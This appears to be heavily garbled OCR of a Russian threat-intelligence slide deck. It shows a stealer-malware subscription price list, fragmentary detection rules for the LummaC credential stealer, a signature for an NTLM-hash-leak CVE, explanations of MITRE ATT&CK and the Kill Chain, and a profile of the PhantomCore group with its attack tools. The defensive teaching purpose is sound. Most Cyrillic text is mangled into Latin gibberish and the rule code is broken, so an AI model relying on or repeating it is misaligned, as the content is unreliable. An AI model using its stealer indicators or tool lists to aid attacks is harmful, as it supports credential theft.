1 Acfannes: chop $alnos Local Storage y Chromium-
GPAYICPOB « HEXDTOPRE CHATIM ¥ DACLWDEIVI (HANPUMED
COMBAte) XPAMKET TAM CROW ARTOPHAILOMMAIS TONEI

2 (pafifiep $ainos uin ONTIMIINPOBAM 1 Neperincan ¢ STL wa
VWANAFL Om GO 100 Dyaa t BnBpIOBI TS MMt KO TODME
MOFAR BRSBTS TRRMOCT NN K DN ORBM,

3 MePaCtOTROMS M ONTTHAMIMPORINS KOMMYNHEMMA Dnaga ¢
COPReDOM AR OTCTYL A

4 NPoVIBeAA WIMTES RETEXTOD A0 CTIOMILIMMK IHIUIHIR
5 Acfasnesint mossee GPaYSEDMBIe NP TOx O tn . OXX

¥ Stealer subscription price:

V. 1 month - 199
v/ 3 month - 399
Vv LifeTime - 1199

ad Crypt:

v 59 - public stub [https:
- private stub [https:

#% Servers:

v 20$ - 1 core | 2 GB RAM | 20 GB on disk
V305 - 2 cores | 4 GB RAM | 25 GB on disk
V/'50% - 4 cores | 8 GB RAM | 40 GB on disk
V' 655 - 6 cores | 16 GB RAM | 120 GB on disk
v 100$ - 8 cores | 16 RAM | 120 GB on disk

v 150% - 16 cores | 32 GB RAM | 180 GB on disk

Contact: ©

& o



C3U

Q
xi
Kaspersky

Endpoint Detection
and Response

©Hs)

Infotecs
ViPNet IDS HS
ViPNet EndPoint Protection

y S

Kaspersky
Antivirus

(<) Smart Monitor

Smart Monitor
Security Information and
Event Management



rule Windows Stealer LummaC V1

sid = "986451"

description = "0ObHapyxeH BpefoHOCHHHW 0bpazeu cTunepa LummalC”

reference = "trendmicro.com/en_us/research/24/h/malvertising-campaign-fake-ai-editor-website-credential-theft.html" '\/‘

techniques = "T1682,T1865,T1841,T1871" eTaAa H H bl e

"CoCreateInstance”

. "GetLogicalDrives™
$iat 3 = "GetClipboardData™
$iat 4 = "GetSystemMetrics”
$iat 5 = "OpenClipboard™
$iat 6 = "CreateCompatibleBitmap”

$iat 7 = "GetDIBits"

L
=+
-
=

"unsupported encryption”

"not a ZIP archive”
"606162636465666768697071727374757677787980681828384858687888950919203949596079899"
"system or character via spellings glyphs a is uses that in their modified”

L
-+
-
I

¥y
+
-
P

B WA A A bR
A A I A A
-+
=3
[

¥y
ot
-
1]

"failed finding central directory™

$b64 = "CYiR4ulNKQGIkHajbKyEJQzz7IWNBAtvNful jHHNy2x"™
condition:
8) == @x5A4D and
. 490KB and




rule Windows Stealer LummaC V1

sid = "986451"

description = "0ObHapyxeH BpefoHOCHHHW 0bpazeu cTunepa LummalC”

reference = "trendmicro.com/en_us/research/24/h/malvertising-campaign-fake-ai-editor-website-credential-theft.html"
techniques = "T1682,T1865,T1841,T1871"

"CoCreateInstance”

. "GetLogicalDrives™
$iat 3 = "GetClipboardData™
$iat 4 = "GetSystemMetrics”
$iat 5 = "OpenClipboard™
$iat 6 = "CreateCompatibleBitmap”

$iat 7 = "GetDIBits"

"unsupported encryption” AETE KT“ pyl'o I-I-'.aﬂ

"not a ZIP archive” C
"606162636465666768697071727374757677787980681828384858687888950919203949596079899" q a CT b' T p O K M
"system or character via spellings glyphs a is uses that in their modified”

L
=+
-
=

L
-+
-
I

¥y
+
-
P

B WA A A bR
A A I A A
-+
=3
[

¥y
ot
-
1]

"failed finding central directory™

$b6d = "CYiR4ulINK(QGIkHa jbKyEJIQzz 7TWNBAtVNTul jHHNy 23"
condition:
8) == @x5A4D and
. 490KB and




rule Windows Stealer LummaC V1

sid = "986451"

description = "0ObHapyxeH BpefoHOCHHHW 0bpazeu cTunepa LummalC”

reference = "trendmicro.com/en_us/research/24/h/malvertising-campaign-fake-ai-editor-website-credential-theft.html"
techniques = "T1682,T1865,T1841,T1871"

"CoCreateInstance”

. "GetLogicalDrives™
$iat 3 = "GetClipboardData™
$iat 4 = "GetSystemMetrics”
$iat 5 = "OpenClipboard™
$iat 6 = "CreateCompatibleBitmap”

$iat 7 = "GetDIBits"

L
=+
-
=

"unsupported encryption”

"not a ZIP archive”
"606162636465666768697071727374757677787980681828384858687888950919203949596079899"
"system or character via spellings glyphs a is uses that in their modified”

L
-+
-
I

¥y
+
-
P

B WA A A bR
A A I A A
-+
=3
[

¥y
ot
-
1]

"failed finding central directory™

$b64 = "CYiR4ulNKQGIkHajbKyEJQzz7IWNBAtvNful jHHNy2x"™
condition:
8) == @x5A4D and

. 260K8 and eTeKTUpyroLlLan
: 4acTb. YCJ10BUA




id="288961" level="3"
2868000
ignorecase="true" »0bjectType.{2}File.+20bjectName.+?\.library-ms.+?AccessList.{4}4417.+?ProcessName.+?( : \\Windows\\explorer |WinRAR)}\ .exe
NogozpeHne Ha packpumve NTLM-xswa nyTtem w2enedenuwAa library-ms daina

cti.monster/blog/2625/863/18/CVE-2625-24871 . html

T1212,T1021.002 TexHunkm MITRE ATT&CK

561

200 Attack Pattern (capec)
CVE-2025-24071,CVE-2025-24054 Weakness Enumeration

retrieve data YassumMmoctb CVE




TakTnKn, TexHUKun
N npoueaypbl




['TP = TaKTUKK, TEXHMKN U Npoueaypbl

YT0o Takoe TTP?

TAaKTUKA — 3a4em?

KKKKKKK
KpanHe cnoxHo

TexHuKa — Kak? (KOHKpeTHble MeToAbl)

NMpoueaypa — cnocobbl peannsauum M Croxo
pmer
3aueM? - MoayuynTb nepBoHayasbHbIN poctyn (TA0001) _

IP-anpeca Nerko
Kak? — ®uwumHr c BaoxxeHunem (T1566.001)

Mpouenypa - Microsoft Word n,oKkyMeHT ¢ MaKpocamm e




VIITRE ATT&CK

OTKpbITaA 6a3a 3HaHMKN, KOTOpas onucbiBaeT
TAaKTUKU, TeXHUKU u npouenypsbl (TTPs)

OCHOBAHA HA peaJibHbIX aTaKax

nNoMoraeT MoLe/INPpoBaTh NOBeAeHNE aTaKYHOLLUX
ABJIAETCA OTPAC/IE€BbIM OO LENPUHATLIM CTAHLAPTOM

Ana yero?

NOHUMaHMEe MblLJIeHNA
aTakyloLlero

Knaccndukauma MHUNMOEHTOB
N CBA3EN C rpyNNMpoOBKaMM

-

\_

) é

nopaep>xka Threat Hunting,
3MYJIMPOBaHNE BEKTOPOB
aTaKYOLLMX

NOCTPOEHME CUCTEMDI
obHapy>XeHuna un
pearmpoBaHus

J N\ J

Search Q_

MITRE ATT&CK Matrices ~ Tactics ~ Techniques ~ Defenses ~ CTl = Resources ~ Benefactors Blog &
ATT&CK Matrix for Enterprise
layout: side ~ show sub-techniques  hide sub-techniques
R R Initial Execution Persistence Privilege Defense Evasion  Credential Discovery Lateral Collection Command  Exfilt
Development Access Escalation Access Movement and Control
10 techniques 8 techniques 10 techniques 14 techniques 20 techniques 14 techniques 44 techniques 17 techniques 32 techniques 9 techniques 17 techniques 18 techniques 9 tech
Active Scanning (3 Acquire Access Content Cloud Account Abuse Abuse Elevation Adversary-in- Account Discovery (4) n Exploitation of [Adversary-in- Application Autorr
Injection Administration Manipulation 7 Elevation Control Mechanism (g the-Middle (4 Remote the-Middle 14 Layer Exfiltre
Gather Victim Host Acquire Command Control Application Window Services Protocol (s)
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Cyber Kill Chain

NMoKa3biBaeT BeKTOp aTak Bcex 3J1I0YMbILWWJIeHHUKOB

RECONNAISSANCE

Harvesting email addresses,

An ﬂ '-l e rO? conference information, etc.

WEAPONIZATION

NOHMMaTb LieJI1 1 33a4M MOMOXET NOHATb 1 3aLLMTUTb Coupling exploit uith backdoor
3/10yMblLLIN1€HHWMKA ceba oT aTak BbIMOraTesien
Delivering weaponized bundle to the
victim via email, web, USB, etc.
ONa oueHKn 6e3o0nacHoOCTH PACNO3HABATb NOMbITKK
CETN U CNCTEMDI BTOP>XeHWNA CRETAL oo |
............... xploiting a vulnerability to execute

e

code on victim’s system
[ m—

INSTALLATION

Installing malware on the asset

CTaHAapTHbIN HAbOp LWAroB 3J1I0yMbILLJIEHHUKA:

. COMMAND & CONTROL (C2)
Pa3BepaKa (cb6op e-mail, coucetn, ckaHmpoBaHMe NOPTOB 1 Ap.)

BOOpy)KEHMe (co3paHne BpeaoOHOCHOro Koja, CUCTeMA A0CTaBKM, MPMMaHKa)
ﬂ,OCTaBKa (pnwKHr, 3apaxkeHune canTa, onepaTopbl CBA3MN) ST e RS
NPOHUKHOBEHME (aKkTnBaLWSA, NCMOSHEHME KOA]) With Hands on Keyboard! access
YCTAHOBKA (TposiH unu 63KA0p, NOBbILLIEHE NPUBWIETUI, PYTKWT, 06ecreyeHne He3aMeTHOCTH) intruders accomplish their original goals
anaBneHMe M KOHTPOJIb (kaHan ynpaB/ieHNs, BHyTPeHHee CKAaHNPOBaHMe, Noaaep>XKKa He3aMeTHOCTH)

BbinoJIHeHMe AeUCTBUM HaZ, 06 beKTaMM (3auncTka s1oros, c6op AaHHbIX)

Command channel for remote
manipulation of victim




MITRE ATT&CK un Cyber Kill Chain

* Pa3Bepka  Pa3Beaka

+  [oAroToBKa pecypcos * BoopyxeHue
« [lepBOHAYaNbHbIN JOCTYN  JlocCcTaBKa

e BbINO/IHEHMKE e N
e 3akpenJieHune POHMKHOBEHWNE

* [loBbllLeHMEe NpUBUIETNNA * YCTaHOBKa

« [lpepoTBpalleHne obHapy>XeHuns  YnpaBJsieHVEe N KOHTPOJ/1b

* [lonyyeHmne y4e€THbIX AaAHHbIX  BbInoJIHEHWe AencTB1Un HaAa
« Pa3Beaka BHYTpU ceTu 06BbeKTaMU

« DboKkoBOe nepemMelleHmne
« C60p AaHHbIX

* YnpaB/eHue N KOHTPOJib
 BbIBOA AaHHbIX
 Bo3pgenctsune



MoTtunBauus
3/10YyMbILLUNEHHUKOB




3/10yMbILLU/IEHHUKOB

Llenb: npoTecT, Aectabmnnmsaumna, 4eMOHCTPaLmMa CUlbl

Llesnib: prHAHCOBAA BbIroaa

Llenb: JOCTYN K ceKpeTaMm, TeEXHOJI0OTUAM, BHYTPEHHEWN
MHPOPpMaALK



3/10yMbILLU/IEHHUKOB

Llenb: npoTecT,
necrabmnmnsaums,
NeMOHCTpaLma cunbl

« |IT Army of Ukraine

« Cyber Anarchy Squad,

« CyberUnknown,

« BOTeam,

« Cybersec's

« Dumpforums

« Ukrainian Cyber Alliance (RUHS8)

Oco6eHHOCTbIO aTAaKYHOLWUX ABNAETCA
dTAKOBAHHbIX KOMMNAaHUU U

NpU3bIBbl UCNOJIb30BaTb 3TU A3dHHbIE AJIA COBEpLUeHUS
NaJIbHEULIMX aTaK yepes noapaaumKoB

B cBOMX aTakax OHM UCMOJIb3YIOT Pa3/IMYHble MeTOAbl — Kak
 TAK U



Llenb:
noaydyeHne geHer

Enigma Wolf
Shadow
Scaly Wolf
Venture Wolf
Head Mare
MorLock
BlackJack

3/10yMbILLU/IEHHUKOB

ATaKyOT NpeMMyLLEeCTBEHHO KOMMNaHuu

C

, YTO6bl TPe60BaTb 3HAUUTEJIbHDIN
3@ paclinppoBKY AAHHbIX

NHCTPYMEHTbI:

Lockbit
Babuk
AnyDesk
Mimikatz
CobaltStrike
Ngrok



3/10yMbILLU/IEHHUKOB

Llenb:
pa3BeKa, Kpa)ka CeKpeTHbIX AAaHHbIX NN OTCeXNBAHWE NEeNCTBUN XXepPTBbl

. Sticky Werewolf - YkpanHa FocypapcTBeHHble BeAOMCTBA U BOE€HHbIe

 Cloud Atlas - YkpanHa OpraHusauumn — AN
« PhantomCore — YKpauHa nporocynapcTtBeHHbIX APT-rpynn
« Core Werewolf -HenssectHo
« Unicorn - Hen3BeCcTHO NMHCTDYMEHTbI:
« APT37-CeBepHada Kopesn
* Lazarus - CesepHas Kopes * Glory Stealer * Remcos
« Ozone RAT « PhantomCore

« MetaStealer e PhantomRAT



TakcoHoOMuUSA



TakcoHoOMUA

KnbepnpectynHbIX rpynn
no CTpaHaM, MOTUBAL MM, METOA,AM ATAK U
OPYruM NpuU3HAKaMm



TakcoHoOMUA

« APT-nporocyaapcrBeHHble rpynnbl
* FIN — d1HAHCOBO-MOTMBMPOBAHHbIE FPYMMNMNPOBKM
« UNC-HeknaccmpuumpoBaHHbIe rpynnbl

Hanpumep: APT1, APT2, APT3 um. 0.

Knaccndumkauyma no KaoveBbiM rpynnam um
HALMOHAIbHOW NMPUHAAJ1EXXKHOCTU TN MOTUBALUIO
(Ha3BaHMA CBA3aHbI C MOroAHbIMW ABJIEHUAMM)

Hanpumep: Forest Blizzard, Volt Typhoon, Storm-0257

Knaccmdpukauma no MOTMBAM 3J710YMbILLJIEHHNKOB
(Ha3BaHMA CBA3aHbI CO CTUXNAMMN)

Hanpumep: Earth Kitsune, Water Gamayun

« Bonkun (Wolves) — dnHaHcoBas Bbiroga
« O6o0poTHU (Werewolves) — LUINMOHAX
* [meHbl (Hyenas) — XakTMBM3M

Hanpumep: Shadow Wolf, Sticky Werewolf u op.

Knaccmdpukauma no KaroyeBbiM 0COOEHHOCTAM,
TeXHMKaM N MHCTPYMEHTaM

Hanpumep: Telemancon, PhantomCore n gp.



TakcoHomMMA.

mancon - poAUNOCh U3 YHUKAJIbHbIX YepT rpynnupoBKHU

— NCNoJIb3yemMoe «man» — oT «manufactory», «CON» — MOCKOJIbKY
BIMO TMCShell YYMTbIBASA HALENIEHHOCTb Harpy3sKa BO BCeX
NoaKJ/1t04aeTCa K cepBucy rpynnbl Ha PACKPbITbIX HA TEKYLLNMN
telegral.]ph pna nonyyenuns NMPOMbILLIEHHOCTb [leHb aTaKax COXPaHAETCA B
agpecos C2 nanky

%userprofile%\Contacts\



enc PhantomCore




PhantomCore

[ pynnnpoBKa noJsiyuynsa
CBO€ Ha3BaHue Nno
VHUKAJIbHOMY TPOAHY
yaAaJIeHHOro AocTyna

NCNOJ/Ib30BaHMe
NEernTUMHbIX MOYTOBbIX
NOMEHOB /19 OTNPAaBKMU
PULLNHIOBbIX MNCEM

rrom: [

Sent: Wednesday, October 2, 2024 5:28 PM

To: I

Subject: Joroeop NoWO21-152

InpaecTeymTe!

Hanpaennaw Bam goroeop NeW21-152 o7 02.10.2024.
Mpw NnonyyeHWW NpoLLy OTEETHTL Ha AaHHOE MUMCbMO.

BHumanue! B apxMee xpaHWTCcA KOHGMOeHUKWaNnbHa nopmaumal
Maponb K apxuey: 2024

C yBameHuem,

CexrpeTtapuar

000 «HMWL»

Tenedown: +7 (951) 123-45-67
Inewtponnan nouta: ||| GGG
Odmumancnii cair: |GGG

MHCTPYMEHTbI:

« (CVE-2023-38831

« (CVE-2024-43451

« PhantomCore. Downloader

« PhantomRAT

« PhantomDL

« PhantomCore.KscDL

« PhantomCore.KscDL_trim

« PhantomCore.TaskRAT

« PhantomCore.GregBackdoor
« Metasploit

e Chisel
 revsocks
e  WinSW

« XenAllPasswordPro
« MobaXTerm
e Sliver



PhantomCore

MHCTPYMEHTDI:

« (CVE-2023-38831

« (CVE-2024-43451

« PhantomCore. Downloader

« PhantomRAT

e PhantomDL

« PhantomCore.KscDL

« PhantomCore.KscDL_trim

« PhantomCore.TaskRAT

« PhantomCore.GregBackdoor

« Metasploit
 Chisel

e revsocks

e WinSW

« XenAllPasswordPro
e MobaXTerm
o Sliver

OcHoBHble TexHuKu (MITRE)

* Phishing: Spearphishing Attachment

« Compromise Accounts: Email
Accounts

« Develop Capabilities: Malware

« Obtain Capabilities: Exploits

« Exploitation for Client Execution

« Command and Scripting Interpreter:

. Windows Command Shell

« Masquerading

* Ingress Tool Transfer

« Multi-Stage Channels



PhantomCore

Reconnaissance Weaponization

1 2

&
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>

Exploitation

A

Installation

5

Command & Active on
Control objectives

6

CVE-2023-38831 —*
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EXE-cbaiin
PhantomDL
n PDF-decoy

compromised
hosts

B

system &
user data

Internet Development Phishing
Purchasing \
Firewall

6 Phishing

Actor

\ 4

C2-server




MEPCMNEKTMBHbIN
MOHWTOPWHI

\ 4

Cnacmnbo
3a BHUMaHue!

+7 (495) 737-61-97
info@amonitoring.ru

@Cyberdrgn @xpiotivaa @sanches23rx

r. MockBa, yn. OTpaaHasg, a. 2b, cTp. 1

11:03 " .
{ @ MepcneKTUBHbIN MOHUTOPUHT

0 subscribers

AL KA

v

APT-rpynnuposka =
Core Werewolf :

Cormm—,

(Al (Al (Al

CneuvanucTbl HanpaBneHUs
uccnepoBaHui Kubepyrpos
3adpuKcupoBanu HOByto
aKTuBHOCTb APT-rpynnupoBKu
Core Werewolf

pynnupoeka Core Werewolf, Takxe
n3BecTHble kak Awaken Likho u
PseudoGamaredon, npumMmeHseT
HecTaHOapTHble CNocobbl
MacCKUPOBKM

@ BekTop aTtaku:

Heckonbko MecsLLeB Ha3ag, Mbl Yke
OnUchIBay NONyNAapPHbIA BEKTOP
aTaku AaHHOW rpynnupoBKY C
HoBbIMU Mogundukaumamu BroO.

B BbIIBNIEHHOW € HeJaBHO
KaMnaHuu 3/10yMbILLIEHHUKW CHOBA
HAYANU NNUMEHATh 0CcOBkie MAeTONkI

a
ul

@
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[loagnucbiBanTecChb
Ha HaluK CcouceTw,
TaM MHOMO UHTEPECHOro

TeX |—| mfotecs
.(DECT

.| GLOBAL
DIGITAL PYTOKEeH ' ‘ nePcrEKT B
fl SPACE P v

CYBER MEDIA HALII"IOHAﬂbI:IbIF'l *
\ _ ‘

BAHKOBCKWH XXYPHAN

el PRinteg /8T (icadtwyy  marlion [JFES



